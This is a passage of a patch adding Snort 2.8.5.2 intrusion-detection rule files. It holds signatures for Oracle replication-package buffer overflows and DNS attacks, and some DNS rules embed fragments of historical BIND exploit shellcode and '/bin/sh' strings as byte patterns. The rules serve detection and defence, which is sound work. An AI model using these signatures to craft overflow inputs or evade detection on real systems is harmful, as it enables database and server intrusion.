+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.end_load buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.end_load"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2713; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.comment_on_delete_resolution buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.comment_on_delete_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2880; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_raw buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_raw"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2740; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.make_column_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.make_column_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2788; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_nchar buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_nchar"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2773; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.publish_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.publish_flavor_definition"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2790; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.drop_column_group_from_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.drop_column_group_from_flavor"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2819; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_char buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_char"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2771; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.create_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|fname)[\r\n\s]*=>[\r\n\s]*\2|(gname|fname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){4}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2759; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.alter_snapshot_propagation buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.alter_snapshot_propagation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){3}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2840; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_nvarchar2 buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_nvarchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2892; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_nchar buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_nchar"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2737; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.publish_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.publish_flavor_definition"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2822; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.set_local_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.set_local_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|fname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|fname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2914; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.drop_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.drop_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2906; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_update_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_update_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2732; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.generate_mview_support buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.generate_mview_support"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2852; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.relocate_masterdef buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.relocate_masterdef"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2836; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.drop_object_from_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.drop_object_from_flavor"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2816; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_rgt.check_ddl_text buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_rgt.check_ddl_text"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(object_type|user_name)[\r\n\s]*=>[\r\n\s]*\2|(object_type|user_name)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2802; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.purge_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.purge_flavor_definition"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2823; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_site_priority_site buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_site_priority_site"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2896; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.unregister_mview_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.unregister_mview_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2809; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_columns_from_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_columns_from_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2766; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.begin_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.begin_flavor_definition"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2747; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_unique_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_unique_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2755; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_priority_varchar2 buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_priority_varchar2"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2729; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_nchar buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_nchar"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2861; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.define_priority_group buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.define_priority_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2885; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_snapshot.end_load buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_snapshot.end_load"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2716; rev:1;)
--- snort-2.8.5.2.orig/rules/community-ftp.rules
+++ snort-2.8.5.2/rules/community-ftp.rules
@@ -0,0 +1,4 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-ftp.rules,v 1.6 2005/03/08 14:41:42 bmc Exp $
--- snort-2.8.5.2.orig/rules/dns.rules
+++ snort-2.8.5.2/rules/dns.rules
@@ -0,0 +1,54 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: dns.rules,v 1.38.2.3.2.3 2005/05/31 17:13:02 mwatchinski Exp $
+#----------
+# DNS RULES
+#----------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS zone transfer TCP"; flow:to_server,established; content:"|00 00 FC|"; offset:15; reference:arachnids,212; reference:cve,1999-0532; reference:nessus,10595; classtype:attempted-recon; sid:255; rev:13;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS zone transfer UDP"; content:"|00 00 FC|"; offset:14; reference:arachnids,212; reference:cve,1999-0532; reference:nessus,10595; classtype:attempted-recon; sid:1948; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named authors attempt"; flow:to_server,established; content:"|07|authors"; offset:12; nocase; content:"|04|bind|00|"; offset:12; nocase; reference:arachnids,480; reference:nessus,10728; classtype:attempted-recon; sid:1435; rev:7;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named authors attempt"; content:"|07|authors"; offset:12; nocase; content:"|04|bind|00|"; offset:12; nocase; reference:arachnids,480; reference:nessus,10728; classtype:attempted-recon; sid:256; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named version attempt"; flow:to_server,established; content:"|07|version"; offset:12; nocase; content:"|04|bind|00|"; offset:12; nocase; reference:arachnids,278; reference:nessus,10028; classtype:attempted-recon; sid:257; rev:9;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS named version attempt"; content:"|07|version"; offset:12; nocase; content:"|04|bind|00|"; offset:12; nocase; reference:arachnids,278; reference:nessus,10028; classtype:attempted-recon; sid:1616; rev:7;)
+
+
+
+alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"DNS SPOOF query response PTR with TTL of 1 min. and no authority"; content:"|85 80 00 01 00 01 00 00 00 00|"; content:"|C0 0C 00 0C 00 01 00 00 00|<|00 0F|"; classtype:bad-unknown; sid:253; rev:4;)
+alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"DNS SPOOF query response with TTL of 1 min. and no authority"; content:"|81 80 00 01 00 01 00 00 00 00|"; content:"|C0 0C 00 01 00 01 00 00 00|<|00 04|"; classtype:bad-unknown; sid:254; rev:4;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named 8.2->8.2.1"; flow:to_server,established; content:"../../../"; reference:bugtraq,788; reference:cve,1999-0833; classtype:attempted-admin; sid:258; rev:6;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named tsig overflow attempt"; flow:to_server,established; content:"|AB CD 09 80 00 00 00 01 00 00 00 00 00 00 01 00 01|    |02|a"; reference:arachnids,482; reference:bugtraq,2302; reference:cve,2001-0010; classtype:attempted-admin; sid:303; rev:11;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named tsig overflow attempt"; content:"|80 00 07 00 00 00 00 00 01|?|00 01 02|"; reference:bugtraq,2303; reference:cve,2001-0010; classtype:attempted-admin; sid:314; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named overflow ADM"; flow:to_server,established; content:"thisissometempspaceforthesockinaddrinyeahyeahiknowthisislamebutanywaywhocareshorizongotitworkingsoalliscool"; reference:bugtraq,788; reference:cve,1999-0833; classtype:attempted-admin; sid:259; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named overflow ADMROCKS"; flow:to_server,established; content:"ADMROCKS"; reference:bugtraq,788; reference:cve,1999-0833; reference:url,www.cert.org/advisories/CA-1999-14.html; classtype:attempted-admin; sid:260; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named overflow attempt"; flow:to_server,established; content:"|CD 80 E8 D7 FF FF FF|/bin/sh"; reference:url,www.cert.org/advisories/CA-1998-05.html; classtype:attempted-admin; sid:261; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT x86 Linux overflow attempt"; flow:to_server,established; content:"1|C0 B0|?1|DB B3 FF|1|C9 CD 80|1|C0|"; classtype:attempted-admin; sid:262; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT x86 Linux overflow attempt"; flow:to_server,established; content:"1|C0 B0 02 CD 80 85 C0|uL|EB|L^|B0|"; classtype:attempted-admin; sid:264; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT x86 Linux overflow attempt ADMv2"; flow:to_server,established; content:"|89 F7 29 C7 89 F3 89 F9 89 F2 AC|<|FE|"; classtype:attempted-admin; sid:265; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT x86 FreeBSD overflow attempt"; flow:to_server,established; content:"|EB|n^|C6 06 9A|1|C9 89|N|01 C6|F|05|"; classtype:attempted-admin; sid:266; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT sparc overflow attempt"; flow:to_server,established; content:"|90 1A C0 0F 90 02| |08 92 02| |0F D0 23 BF F8|"; classtype:attempted-admin; sid:267; rev:5;)
